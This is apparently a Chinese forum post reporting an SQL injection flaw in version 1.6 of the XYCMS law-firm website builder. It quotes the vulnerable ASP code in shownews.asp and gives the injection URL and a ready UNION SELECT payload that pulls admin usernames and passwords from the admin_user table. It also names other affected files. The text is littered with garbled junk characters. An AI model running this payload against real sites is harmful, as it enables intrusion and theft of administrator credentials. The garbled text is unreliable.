XYCMS律师事务所建站系统注入漏洞

admin

前言：刚才蛋疼无聊下载了审计下,就稍微的看了下，漏洞太多。ps：跟有个投稿的板块文章有点类似
- ?) X* v, \. V+ \! J1 h
淫荡分割线
* z6 F" E  W  G--------------------------------------------------------
' G* v% K, z! r" N$ l
审计版本：XYCMS律师事务所建站系统 v1.6(其他版本自测)
源码地址:http://down.chinaz.com/soft/29233.htm

( f1 Z7 v( D0 p  f; ]漏洞文件:shownews.asp
8 C/ B2 S* j; R$ A- M: X漏洞代码：7-13行
; k- i0 y8 D$ j/ a0 z4 Z4 |3 B

<%
2 b# F9 [. D, k4 \3 o* E" M: tid=request.QueryString("id")
   
set snews=server.createobject("adodb.recordset")
exec="select * from [news] where id="&id
( h0 _$ j. h2 B- `2 l- o9 X* e6 asnews.open exec,conn,1,1
%>


+ e4 d2 `3 I: j! ?什么过滤都没有  直造成注入
3 }. r2 F4 d0 X' z0 Y
+ D8 c9 N  o" \8 L4 M注入点:http://127.0.0.1:99/shownews.asp?id=xx
& g. _- B0 Z5 v/ A; C
' S+ H" u' G, }) k4 @其余相同漏洞文件:showdxal.asp,showfwly.asp 等等自己找

% F# {9 N( g/ X9 D
exp: union select 1,admin,password,4,5,7 from admin_user
2 d" l  u2 h; E1 y" d- D: s​
2 x7 t& ~# t8 r7 b- a; w6 d5 m1 z